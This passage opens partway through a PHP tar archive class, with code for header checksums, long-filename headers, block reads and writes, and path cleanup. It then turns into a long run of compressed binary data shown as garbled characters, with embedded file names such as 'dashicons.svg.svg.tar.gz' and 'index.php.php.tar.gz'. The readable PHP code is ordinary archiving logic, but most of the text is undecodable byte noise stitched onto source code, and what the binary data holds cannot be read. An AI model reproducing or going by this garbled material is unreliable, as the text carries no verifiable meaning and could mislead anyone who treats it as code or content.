__('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK[__݇dashicons.svg.svg.tar.gznu[rض%N2O{aCr3tEP˯(gew1HbqNf1ܽ6px`2°qú?L=^ UL2٭=?ΚЪ!vff1I/W6bng FXt}ؖ z o.Xj+4GYS-k<aYY}mLn#׊!]qV~!(ٚljÞ[mпF;6l;ހCwXxV6Y綹/l֩Dk?D{S G Bs Oh߂?]Ƨ/]ΎMN\o{meB_>׵y+>,zw+UNF ~i?bGE)@XÈ&Bbf~uXv1Tumm\K׎j紖r}'Ш&cYP! JX8 Q sc|~pyh5bo-Vtբ k56^8v&\5kyuB=`Flj%ӧ)K

  • m&uvGtOUn;:.59e̴'MWmZCiտvmؘdK_}g!CJ}F#Gnmor<_' z&ihmG-CzSv @l8FH eԃ vW-~=laAqx}(=BCy\l_ݽuxVSNNWz^is#Pxtp;4}= 5Ƿ_^hztaZ $uր>?`r~GB1M&*%\zJ0PZȎȂy!9x^ L͍j ,x[GͥfIwhcm͕(D!6[կ^yzD%\Xc c"~6Fsaӗ˥]LMƈZ9[J6뱢% c;4RFHLt=#z\\*4LWˠ&Mߔ;24<3D Nf9LJϸ9rV\f^/DE7#(/N0]6ZPY@w9M!GML *TJMִC 3M[t#Mмpk(xy`)?ؒS 'zgٷ(&z WXQ-UסfP+{1^򵬱ׂWE,`4۹xS/OqTiDbJ176EʵE1Ymnb#lo߸#n?',4nS]_VuD0^ :4]1kưƠvZml)$Bf} fL7gW{HU2AW8."hU2Bx.eXnmRB14`3# [f!9jɐ3LX:}IdZ7;)' Ҕp%# UGu8; lfI!=L8ۡ^igLX|.e 0Dx-+y dPk/M`x%VVah/1E8Wd,@,cm~\cUg ^ɉ!ZD~ղkq- мpo<DI3BA+8!WwDn&Ǜ̾L5{OS#]abCsc[i|qҁ9i1 X9" =9;97N5VUg43QD?LEj5G.蚞*WSj$R"@:ZӤ s }~k$\Z'tU&TJ| $Qtk9̃mDg>C\Mhe}yǺ]3^kkA '_EGCt*VNQ.;VLk/˫q@|#mkokDj0HS[( 8ojεnO8GF7J^O_LJ/IXbǀŤAҿnHEQh ٙD7^F7ԪC ;4Ëd^/k}8Јa Gl^3Tr+9,-H-'] (+4smP7.&-N\VP,' »P0 7m>ߞO-wFe>֙|9.Rqr&oM& 'mBa3rRM2IpeƯ03gv ݶꦁ"(@$"89C-IBnM蔁7Ӗ0U KnyW%93( s9"e1e=z⛺,?<-PݞBE>m:hd BeDBB4`BIIΒ#No{>Lj:*RtZ# %6'kAY ὇V o4(|WD8e>q9ZR4-bvma|w؜sq6[ߘu6lm\pm%8?}~]tban\`\gp{+୥y(X56¦Zur?_Sm_^KПiXҿީ=^mږ]F2+-X^~ݽ[.X[V2}=?ۓ3eЛվV^n9wMi);HF\B7W@,nLL1$($Q >/qJ_R(oaRo38CBI cJ]-a-A zbTH3cA@IK1*ޜNʽ&K\d(~_d/Dg[jnBlu[ ["T)VxP\r^BBY5FzX#0*L6jQ* JFe EʖumŽAث-oMKZ4#LQ,:!zQwRMHhӛC@Օ|km)qm&nM@Mh4 ǹfr{,Çu{:%Cc0޷V &3=rgRfXݠ}~~˹L󣩹V{Fh b`Ja<{_(^1զyi~ <1 i1ߗݠ 2ikQf#[aze3/-H6Ŭ@?Pw ߍE&"ɇ[[r;Mq<jdsr /^vl}kc|pц #x>oh@,Ǜ[go_i |8CM1ZG|i`pyT豗P.M֫ Ҽ4a.:na0.FC2!a}{)w4o>X@#*,-'s|Q^ "^ ʅaA&w:9:Z: B\s u+82C`TKy L= 1mL0ۡE,Td@vD癠w8$}"~bUiHm},y}{yw\#~B*o'x=ZFSwָƒcՆ[V5E |??:yt}3=`ɘ@-K'NOh !]s<LarMWb갊{a-[IW]U/9[p9@L ][pWaljw XɾЦ+qR[>IafVEp"h* iJ2j0#^{u2y*E`Vs`n@ 4 7AP1` l[8}NH +%qx ?{ V|.h kMÈH#& Sl/ba n#2˂q}×fe!8~p96cjV8dXA][Tltث]+`Vg],uQuL|8aZ um'w]PD@nyE~^ pMQHuNZwo*:Lu ,pԧ䃃㡕&zh#i+AOD7fCAh֦ [8+@т1%pǀR1]}d8֖dDVɎNJP#c3;e=T*|\NY&2[yCdRG|cEӸ5'+3_\e1iabxǥu{qVu:bL+$F-aʚ\kvjI"dOZ0YWxokz詧[ŖX8^g俖-[|;gڣk-aZw mwE!i_%ޯcu{H5Bз%Vk%@tJ +~N-n>'&5eȬIJؽG.e`'(>|6kPhS}#%ՌTN2$r/t UZ*8c9~֣ȝMȐnNdwAon#|=׺ƱnJf_mɠ[w\Jxp4yX ('ȊXߞ !Fګ更F!Eh $$\d0nPybhdt)>N

    )s1_0 QCh9hG7M. Fl{E= w"Bm` 2@C ѫ=aX, QVp;Ѓ]ޖ&[[؞i2"F hK o<-*=?0h~yygĒɄ][J,2gB'l,sף6i &m: hhHޏ0Pw~ObD=?8Q\)fLF>ﭳ3#`^.xbp@/ Hr=rG'\?*ק/6:*"qhze_GVq6HMhϦ޹x )BE][6'D=rYwG f R|KN {|7۵pgC ;k "py5_v{{m !EF "W #ӥ< cS8 W ("0Ӂ9R]0VaAhv9mdg-D%+~孃Md˭4p Ö XԬ"䦼'BA*]a['V*ϵM wL)|:c%3٭ 1z BVrG㴄~ë! (Z{uIсBdn*ژCf5`s{)v8"1(5!Z.ցo^"i ` rAǯ{YdJ7Ĺ`P<3]ݢV+TKn-]uM-o'r߿RՓ\#U Xyl_Pťwj@ˑKM'xh Ov+PkHDԤB_:CABE?7Z Zʕ衚(AM`k|YNӍNJ-]-A 3Ƙ!yzFBXc)*Y99'Gd^t@iW!i qd+yi!n\z&I"Kl:Ys3kfD岺]|y`je8Ázq(M~\E|tssaz0=yyN%-<:G8c9B;鷺y_ ͎X6];7ñ|i;!n藍|Q 7ɓm})7lYA݆( ^˯zj @nFѱ HQ:k{bg(:"A?Q0;Dh9X̛$m؊L;(#jB#}'=AB<7@5:mLU:ԭَiYuϮv]_Ϯu{uu~ut|nZy8?koq~2娸 zS)Χ Fu'?6jmۊD'0}C3X'/CRz *)#jCqگf.:t,8d|WRi:zYUur:d@}(20MZn;E`smhCK,WY娴(&e)"Wo+2ڬtH]PC쯸O CCދY}bOs[a$!o5D_S{&_bw8/^@KC .!hz(Yy,ہVqbqd(pT,Xv?@ y H4=/0%jfv~UD0%BAGt <3XR]qXd""DWڛ0T<-bQ }-a(aV Y-YĈt`0Z)>`?0Yo 8z@:Q.l> $w]nWz{OF.ž:U:C]H?.Xu 'H7@{̑l&j1PT ~!b-WGH%[ETUezJ*ɬ\XU񎹂KlO |B Sٜ:ؽ&lukH;6 a N 7ŨYM"=҉n=trDc͔YLb@bR`f#ۧl.[}"oͫm ``ڤtfrZ8%lZe\V :G~>HAM{hR57 Hˆ3ڙ1dx\6fFFG D*AJw8:C"vqBU-&%R`2!~y0`R{/O ,DbEd_'aT%Lrep`9_RqVP_Yae5ǣvha)ۇyx:T?(Q) 5N#rG  X^%łӠc %BU+!F@Ef . 1ڬƈ_aܔLut_=Nw ;Hx=L˯/O+@iW2̀˰z }Xn >)OPMEl G.ؑpT7ڝhG ATF H} 0>RHɍLI`ӑJGY`tR.{7rхO)v-c*{'xMoi~ۅߟǐ+$Ε*La+ Yd0qu^ o }L,"Z.ޕ2:)djxf!WS%U-r^-S-Tb=aziʢfس?d1! pr}r`~20yt>^qu%̷5mt;Yel <ýᇍ6)1n_@ԙ {nY4h:iL/Gk0rjfH)vb!æ;{T]P*amAÍs8z`bwyAk9)*5 l- KuWKdtP B`b:aT|{~Ph"'q(OD,f+O^}0Nڸfc PiUdU~ϯZ *FyTdVdw$\Xi78G0e(L$ s6gp&^fW.qm|Gޙ̨Ep[g03 xy u>5d.}_^M6ƚ\ ȼ% ,;d5jVQ14.<3lC:xnqL7$IvVʖ@:&dO ^' p4Ҏ6ma1FT/ KvyGl'H/o/KVnt]~u5ȗ[V}[_^^?S/N,Zh:vxf9067dg~}. /1t Sgsg(waGJmLǏ?LgL^xja(;aD%q$_b1އ!_gE3B{t":/3| H!_tYlk2E8N:9dE,V*Jz]ƗQ= &!SB5SnF$-V=N0;5{krZ _Rw*?+M i#J_ dOQe..'#rr7tk|2?{@ܑ9jr}ؑo-o n؉I~tBx2ps=IO8W 7imppx-hX/s;b Sf# 0J굕@"q?~䗶*~?bzx7ZN aJ&W1Lj1qMQ"솲^g΁/uu}< qq|_A򪏎+~wl§V¦9<2ῢ]ҏv#[k9X__fy.3Y8: ]]͉uԓ$D]i^H^ 0ͫ }K.U TQ{1Q>?Țd[b~|={{9%!K $@ck>q";8D8I'|gbkXh ~Gi7܃NO\bCb4a]: 'C[7H,/9sO\k!~L2F35MLoO3ȒS֦mwb0;'ހ)" ^U6~jnj(ӤV:eOqVLzm5Ǽ-0=F|&U圜A,` -N,H^g֝ӡ'udq55HRV$8;38@jҖ/jrӷ#_0vSlolaP.g^3f]޹F߀a|}K$d4 5pN_cˏMyX3M_X"82 M7S|,"u}U`!V UT9ok]}6j[Tr&92ҝ"Y*ufzieh}Lr ?`IWG$/C Qb3)>0=hAvB2{VC!0EQy#[q8{`fDbkv.ܶ]_~jl\"j)=b c{abYA=2[j30ݏGEE!OHI+R}՜2_b-V'1L$geKd2G,̼Ε*_JȫBY!ʝI|Ztt!poׅB`LTeg@ 2+GxWIe~H1Z9`7>»"r_L=eV@ eډP eGzX!q&¯;b :Bp)تC) :ݕQ\]O@ع`\ٌA} ۥ&# ъıO_I2g# `R*P8"+ &N2Јv`"bpE: {fC&аD~N`tV"x) YDi7k,O|=@)(d   M%I @ p3utz?-^@=ecْ$EIĉAa?q67îo0Lw+n3q0o/WbX,D"Q nz(G("$Fn-۫e̤f8W">aGBUXGfq#z/zМ;aSQ/l]5ztКT+14:T>eݖc/)uO7Vv%١ L#/DrN8{+el\r:$QU_Iy#ۏ0!B[_m|{]"4=Wtb\u&A2L1DNHJ#.2j۵JX!_H:_0q:fe$aqzEZ)sV 7 ElS\Uݜ!٤}=ocJP[EvS[SDV)š\ܡFP&<V량3'SmOUddifrh HrS>Df_oǔŌagO(ځ+_:~jDX2pcXc-@yױS+vo+]B[0ZJ_zt$RwP& 2qA#&'UO';EJS(Pu@0QFI-:Gfk<{ٽ5x(QRb2$MȡD*ؒ|{K<5]E :_:(i\02̜(yv$f@v`q@dR/9:CI؅}TԦC@Z(N Nj~[(~ʨdI2RIR$Cb_ A\O恽JoH^8:={@)QEi(Ra *k+ r# rEzY]xQ:62DvLO(((Ⱥ(*{ 7Ա"43"T2ddQSUUZG3vPTڞ #PتԪoo) Lnl oҽcR[%0 R^q2ʃ0bVOa{O, #CN^Wrw'k=MyVn9r=׍T3x&y_MIӯy0:i׺?Y_8Ba]ǜDLb0eTZ43H*|ul(uc-& p>dG@WE@T0+O*JѮN,R\#BZ@eET$PwBWʱ/۷ǿ_ә&6kŴmh)ʬfIp؜gɋSYrzg$hgh2KX 3dLױ4A1)*ȘCzeR<+%B *Y,]L8T눚&* kPKE`!wߦ5]ÛoZo/n |BVK2cG݈#Ua(ohŤHTrr墪49Rm[JL;bLuljQ ƀxx"$ 3iԽ7B%->Rzd w'פcP3IcOV燷yK(?ʂ`X^jNr@+!$znl3P8"qj? RvHo{s 5Tvճ)Sg^yS BK_FAE$\L1L>*9=:0nGUx,p9z >5K{ڮhɪӏd o6>v,o{/lrKH@g I yࠌI"҇iV='п0sٳ%;L7&&p&%9B4`k>ZCS#elr)E]"ҏ*Z[P:w[uϴo='j䑾kBQ~[' 2cal(-@ẑVrWHUΤ1d)2 Ց+Tz ̬,#ѡn|hZ^Clj_f\&B܀xg3Vd;Gr' @eMÔ+)no1F׶暠hyv@HUړ ZwTdCᩈ/~5 $DCЊx{ d]ǛgRAZiin^oO=^_z\̑ p bk hNiMWRL0hWga_#gOR?$H#{|`6Qᓻ}(!h'c:ɧ aq\=n6ŽMцs*`aayA9G g6ŕhXFg,v)b^X.O.WO-S+(I7im/.KsSQH2,u,15% h[ LIC= Z+V9bc t1qFdR~f3R0s8Mt ":0+BLMCH%X~?T"o/4B#k/D avtwP:DS۬T 51xOxd "`yW1Vs"2o od\`Q/A 61BTjf ΎR(Qt@] B81]OY&kK '_ɡ-J3*X| s֘XC"W/#@&ve;-3=élٯz025==`9lky9f^٫{1d6a2 /[ (TB5dk}de,~h;Ep:j켲L!hwH ] V]o'ˑXddָW^<{B':IĤfgA} A ̇t;dJLD 2D7$z$P.NHEbI6\rynt$} OiЙk^{s:/) >ÝxTp9Mԑ7o<6(VEFb÷ik4ՁOCf%5^dNQ_=]ʣAhJglӁ)?N(xbNV8c42kq#"W~&];4(SSE8PAlAa6)|0(ԇpBagɢ ݳi :[oy _^^N@G,a($dM0䢠\Ar]O~xmےPJFWQ*@xLxB ]kCB^@8ʏh"ʊ[^1apJ2`Ao 4>ft/АJze1h,Ӯ+ 8\aUΎO+~iU($<)}`>.l.d) ;{p[kׇq|>?LN pMFfZ$FδwIʹjqHyGFZoFry Xq睞PMD|<NH:vWEn,bS(߆)0qیjj{|T Q| 28c ag*́'1Wqd|_<@8lt w'RJʭi:;`3ӕhN"ĉ]3nR+??(O Hڑ Uaٔ LM5F,{1gx(Eik y ͮwE5Iy4T8A/RHD?ů~ 젉ԏtXRCD@_{oF|[LOhB1%kAIp73o3q0 asV$ 'd'ch8}\vKl!26!wI* |L9UyңN5T.tnl=\c&g$̅;rzqxUc {#+=Tx>p9$cI!%̱zxN_O{KyN ү|e/|>T=>4ڇC6;FFaa>~g~uE8$a{`$vZT%aM}gZdCu$ӠLTt[a$@#!W]?a$ePQPk >>v3vA]JarL@\~QrV։:޺e;ڤSqoۏ̶n(vJC"|a%38$YU **.`J5zJc3:>ωO&"Pڸvv"qoȁ -t%19.Ĩ@J'TY=VC<"̈́5)'nT)1M拁SiOQ ݗ@bEΧ L'B~ M JNHFBA&/?*LY=7$PwwXEE<+J$"w$Edb ҽt &e佈gDOf6jn/6H?D?&ݰ' zd 6q+JTAS "CI SbV1DAW`e׬CX:++{{_ KC &Vr$8&tNP |H|b-q1) "4Ya 6= [N~n$Ogݏ0\y Bl AWACT-䜛!X.ODAcνuyz7d ݾ-"u~;qŠ yÔ06'Х}`KvUG:?H/@vy Jڴ?@R=chL;ȐrMGT_`M#ȎyȴT;Nbx%Im@ s83)9-l|B-5MLᇷٻק/_fHw.u2"i [B׃_?XSMj>Uz9<=m 6 hx>Pf6U{SN%}}y{x{l2,^Y&o+ztwQL@@u2UV@_lE6k2=Ĵn7:ⅉv7 4#; wgvԢ2%(e/ $asRa0P$7@W y NHc]0nCNJI#7//oߡW.jkd r5 T հr ȸ 2ڠzEE&#DKTneBV-۰cE,[0Ca~ؑTy`2NdW]۪p-i 5CLUSK8-.NH,eHty]8boO!}KD!vр23W ײ(@8՘%HLeҐ)c2l.lX %xEqD$_lcrl]E#k+>_>?>̨O&< Bz{;dh镇eS!+rQ#W^j~p!h!1֓__ L#յCWՐb3 {C ̳ `RxKDyH?zċM5pKcQˁǺ&wھyc,eꌴ5>'7D{rI᳃K-Z-o) ^ov8~jkjL Ҡcb&KkdkTW y[q\a8B@o}ix:߸EMyG<T-Za[Bo{SWzcsۍaYY,%' -~ٿ!td7Y3o +go=Zeۊӻ3lWH Dߎ[f}cq/*{[VnL P}"8CpQr͉,AĴ@E [7M#z՘@mC] Rhx} I ؑP}tO{D*XZ9{ 'rDn7/SDy9Ȉ5 fHwfO@V9 U&R .)ӐHKHg(<2(Bbeͪ"p'`QZ mfBl`ƈ\RJu罇'rI&ŕ'O]Rz 6J*]n 16>$ٻbwL vL̻62 zF!*8ts%xdEL½DrM^/S#38뵕3NdspKgл zgdgJalj6j Ϻ#o}&pqOd>j%Rz~N3I30t `Ѹ$L:70YӗY{Blm+qn1}W}b6łT('L>Ē`8y)Q`XPzbNNzKW_,9wVnm?#i{oQ~祦s7I?z7<*d~p<H}@KP^$ކ@-_a9dPd7D#!B=_`y1BJDC!`F+gCd0;E.Eq OFOa~-GK0G;de_1RwZvdGU K$dj8ń҂qB8fmEv^\A<-y,䓘I>>@H  7׎5Ak?:>mKypa䣳yM [X0kv&v%FWda TYsOi˪PJ ѭ#Jvq4xyT~KU*Wo3CvbHCAa+)dCI!¦|"لu{:Fem8&zx- X)2+z^1($|Dx.yZ# [;gei|' &__1uw}]vESXR,IcF|܀XE2NG;v|cP(W\$@wΈ]fnjg@|JBao+EjtF oG\}y{|}ؾ]3M(Frn!#Nʦ?j>'!>NFTU1:d+p7D]__>w`vւц̙l Nj91x Vו;]:GxUVg)OsQ|l圈cvab ۚDtʿU kLKo?O ?]+i~~}{2j0:@-5{2qb&/3닙w^_=_vlHOՑLx+!Kg_X&T5 ETh2UΫfVš*e%f ܷ;eŃo&<$BR;? jX \12Ca"'QI+(MqNh[V8j~x!ILdX 0BS^Ċ!RZ1y9lnzl"$&s2 uq-0&g3I`{9XhlEVsJpV[]lߪFIU^TSdy 6"U HB!IDq_aɹ&f앇14 U^TK #76?nsUI`JyaZG-K@i \L}Vwo)Y)!"C>\''㡥Ur+r"ל|NOrC+'\Dƕغ&>KH~fzTaz6\O4Oi^u*SpC#:d6i Rno0!gV-g: eF½ ̬Kӑ%lf2BmDA[,Q}#R$gAt&wWeaʤJ Qa䱃#; & B%.ŽתAHjݫXTQiIBh*HpesSaU~ L^!ᗕVU@L22_Ė<2'Ôȃ&QG0ʭ.Dd`d[Li(Exw7qn X )#N}w3}xtZ '[CÑ $P }f Ajɰ6!J̬<5*,1 aiJQihm 1#څX&T(5 G W{ S!o5H)Dɧ"LY<԰@^v f_oYQ#-trI1 㐄=$mpRc&dִ*n"v&o!D(GLԴ"׫&. }=iÄjccv(4ry$3 RBF՝Z:dS AD6 +JNqpL !If;%\p'j Revk3c'Ok=⃶n;+穐lp^ 'TVU^兙5|_1h!kpDuhN+a~^|D&cw10,<hL#"Ɩ/Ϗo uI|L`KklIL /1*ڏMڸ)x{wXӅ\ȡ)k|$&Nxtr_d"*9Q X+P{IZ;D_27(blE`#i\#/:$ ]:K|osӡ@B'{P>Ήx=YN?J!lrz'L3][kv]\$!H~q7.]#k80b 9GQ(MA4=2u//gvabC'CX)YWċ'P"ɹfǛ!9tu]f&KxxXZ8$yˁ!wUtH~Vx///bvlIrCsArGz?Uv \a|~{}<Ӂ%}N&["垾2y 7j6rx tDx "r?ĔWPI#! lg) "]֓)gƠ8JPg{$mA @g9V<}Fve'=mґGz&==QĹydΘ`(V)3 R¬$B-\59R聒32eZI]V jTl}'pI»}sr`{~}|?#Ko]Q.RIHv@gS&a~99|̸ A f#(Ix,Pq1(&-؁t7R(@] #*]}@̈́)D)ֈ"~Q .Ƌ &ax( &$VVzӃY *wq4)jRV 1 rE@wT8%*Z4I0D_N/-3v8QBl Lr;cDE:2'@mMjn.bبkw9BtB1yX :?'fC4Czo ݠz1tҰ+P"wxb7a*?ƣP^R8mqOyĔRIڙ3t"ZGq.8"7YHH/(} I( HNH3>*]:ԿcfO0O?ޕ>Qc\pJ 2ͲTR@)KhEjEgA:8}6&w#B=MφB$l++'%5JhxT4w[_mL>jWBN[g|d=Y`},Fd#z 1̶lEvh`Ʒe) ÈOV7O'NNF|ۧ2A%lkb 1dw+:Ww2\n@%^ﻶz6VD䕥]2A' s@ PLt~@>B{pˋA*a_ `t-p"TmUI=V`ӛOڿ>?h'.{o` *kAY ȤZax$&IehJd8@ Spj#?{!1[z˼ϾHD 'c21ɖr H~o0P3vWZ7 [6OЁ1*u;|[(CX1TTCM>KgPCnᠣ_QlQX Yoۚ#Qq??Bf5P/xi>:Q> H"!VVܓG oNq)jɠ۰Vw݆;T9;}\}7|]lڥ_΁(Ё*7 p! &M3qr;{`/{"ԽhZPȋ Of#`HL An;tu&xP%:9]VщW0kso8J C14W6GgOpAӔ3Xdu 6È4;0W$dL`<&,!z l)>^//_A<$&Jn͍D=$ ?}SP&)l\B?:0eX&!U;`l3Oa n~38 -7LaI C00G@\Pp|||qX8/eN5\FbDPPzºB DL'L+hPp%s UȩXN>&Fh:t[CKߤ-dY Ln':rEOC̕SжGEl}w΋xQ}m*4x~x9YXEoщ.WjrXYA<Ɛ/@uR0aRv*^ 7PJazD*| ǙCVoqC0 ֽ1qJBX-~!tbL 91/f, W̧ٝs'3mW#*WAkӐwmyb,wFDݦ躚hmOc&3tG>nmt4cʓ4ruGf>9KW{ Ia{^C!*ʑ#7k8n SCAB..U:hKveȰL:+N9qn3`*iJW4 j-jem gƃaJ-p@i0$wP+@e r۶2jBK>;ij 5 %qǖl;.E8]NFœ;â8Gx caH - 3nv@s|Z{m[0 !A4'잤!cMZU?VzL,: Uj((a4 ;.Rvf m8~XCa2&6S m_ئ_). )zN[GgT~/og̜#?7b`J˲?! (lVn$B+^d^&~tǙ%%u~͌!-Ӽ&0;Y#"M/OM=J7oxӡ  W|m.4V)FǴCQ6Ǎ쟟Kvrz)εW8=\Ig:p~ʁXax'aU@S2?z|=?>eeHA0iABX)MfsL̯z֒!jDjӭ, Wnn}_f鵰Nݘ  ye6L_ SdU]ՐEH7^s8H'mUf菢pOƥXO%P2s!{3[Ѯ fqшxR9RxSSv ?蠜3 $B&yg'Q o6lB(]~rK\ͧw 0Q}S|}y{e6hu>}5Тc)P hGM5m?ܻ!#]VǑ.JRY1% yL.ч9IGfR[PR[r=:-3,]V-5޾Xn+ax8Il὞v汁EhiOԞNpNTZtOIG/~@&FҊdm k[@xp%)ߓCVo8dD&ftLu<"n2Dʽ 2dmFa J^sZj}MdKDgvQQpq7Dj㽉J[w~s[,i40 4BI3$9x$PTJ%~ۤ*HѪ2޽+I"8뮔G(Bo |{|=9;3(ӽ(Y!ęaT Cwohk+ NfrW*ׯbd11PXŽ2J(/WaN|C06Lk io ڕށn HAg<*v2^䍾8d8S`._<$wcA2 8J7t{OYh~uFUSy?s:M 9k]oƋԗ'޷Z(ZAV!Gwc=[zN?C'gvV#ʀL+GwqfU|urVɗj5^ǷQ'іM  ʇc'H:(qլ߳;e#uT{J1cğY}.8pmg6ҏB|co2.cIଞ"B$'/G7>}& >f>~ hd|7$T3Fͯkgo"/;a/dΤ +MR>s=,lð7y֞^̣Vf쟍.erPdemCulu:0rbC hZ&*^A;\r3Yxe]M5NXw'Ӊ%F*S=%#i>tᒀk{iMCy>Cl"V>Z gwDvsqW㙝IêSlbz^s1Dv\tуGHkp\:P*pFyMڑwʡx `=_0Gf♽Xyx``4͝ek H{ \qݙHyh),M"?8N,Jߟe,aQ٭4d!>qaD%3ܩޤ;=D$sr;oS4A{~]p2_~͍ӑt%#'C~d)D"^/Vݳȝ[ yV%Kу3񜑻:["A$:i>uھvbl70=o?~B=;_S+B]RQ(qe@Fz3 GPoHL0w@Z.ʞYG щFRodSm rYnwUI߾^V۷L56~zIu 2hX{Ddߒn4WDrkwҶ4)tfC t-e%`Z2գZzvNf1;ȤQaK6IUARMQ@0{c,` "H<nK퉎=ӧ![@—NDHY,s8*A$B?6Mar^vV@ m-yKcÄΓ- sbf 2ѯQ˫e A/~vR󑍥'F\rt W0l88|~JD| mhD"ZQ KH+p I7}VWAr›a38 'G:0nPSj|%B=0t.^1;ғں$O"r}[Wv:"*N6ہQmd5[5]) 6"bdQ>>EɊ6A+"#?3{ A!䇖Aqщy.(?cn69lc_kz%p#U^(HM2G4l voգ}$Qp33aa:kƂ)bD HAizzvJe +( %ZyYfjT[V&;K'}"I1ɴ=-m A ܪv~[FeBa+  ~{Bo_Nou: NK~N\M]2rv-uA% o.r,? =:Bvm|"|g>؈G fW.i56&M=G<8Hc`OObc U 3FL7R;aN Ŀ҅4i!ʕ LT3D%s BRQ=<=9@`Z,L{Z YLAF;~br  ,7unKQȆ~AA橼үBkjbe `Zښrub{TE_7Chr!aXWɥ2Oo0Wi HsO@w$ĴØȷ $;:p<+*-Zg\Q1jo7I-znP8[ dP\W,[MGK.H7(&ʵ76VܜjwqzG+sR"eR'!"GtYE He%ˡKHaCd($?'#Xh(B2dCʔ 3`7gbL"00.SZdrP!M&fDgAb9eJ{eae:&a%-W@ejd)gu:DRC Ikx@ F=.%q`$``E[$_NW(r1vs3Gf$"'~|veŬ1#_viET=MLh%KCp'_}y:<a}ܟ;˭f58pT1v]aЈPi?%i2Í-3vuB徭NO6@Oٵ2I3Sj} 3QYqa^rsadt%!pӲL*{'Pçp-b*oe۬4jZwKwRdGxrKXwr@CZ%`lȴY9M9s8 h4toIDίI"NG# *3EDkTH}L埶m#t3o',%D~jARyijs4tL5@$V2"QE!tZiJPA "ê GժJ&COþFŪD5/'sbj*uXX"ӝF0@YYۚ-*'Yv[-gEv-QPmôՙG]1\E0A<~ںqƗϳ~E*ɾ"2ux6k[r,/ yB뜲>ci ԙiZ_ԥ-%ґ(E׆ew9")6'U9YE)c;HL`*E[UGkVE%1xS"Wyڳ"p&K#ML % kI~fR36?i$gSnMdFiZE!eT6P) `,cKR' Ea,38~zѹt@z9gQJr}S"*NBTصg_R"mn-78z9\SYם2ޠ# ܘ9~"fEA;ۅ׫zF6C6fBU$AҔ&*',9zT}Zfp2"0* ciH?SPWA1IY 5V@crHQ(_4q1?m:$m.O_ueV69yK͜j߫'D׏h֌,2ā)d:] D^"$;HPCiwӓomOG?s_1=^{, "@XƩFh%#҉1Bep?xxǍ(5My&A+]ozl)=~n6hİ5'3x2@FXD"JTB_`z.C67{x<4<(]&m%,iّ+"wB֑BⰤTؖ4[pvK7=֩!_\i>aE\EzA/R @,fJ?Xq+P.R{sMu̳r(AA }PK[zccindex.php.php.tar.gznu[vH دsJULRE )(RJdD$@$XEgKu}C?C}QTqG0ofp~u:KX3o|iZQypQPQf"ss4tj/&PvjCU\#ybBr  ;VIrheLt}]}a:8I\ x|a^D3I^_F$ڗۏ_Xl"!!wp9\geQ~ bz Em!q[ȓ8]Pi2e"'_1j8 ~Q (V"Y2KZ4sA5Fm %Jq(ҀS!Y8u8 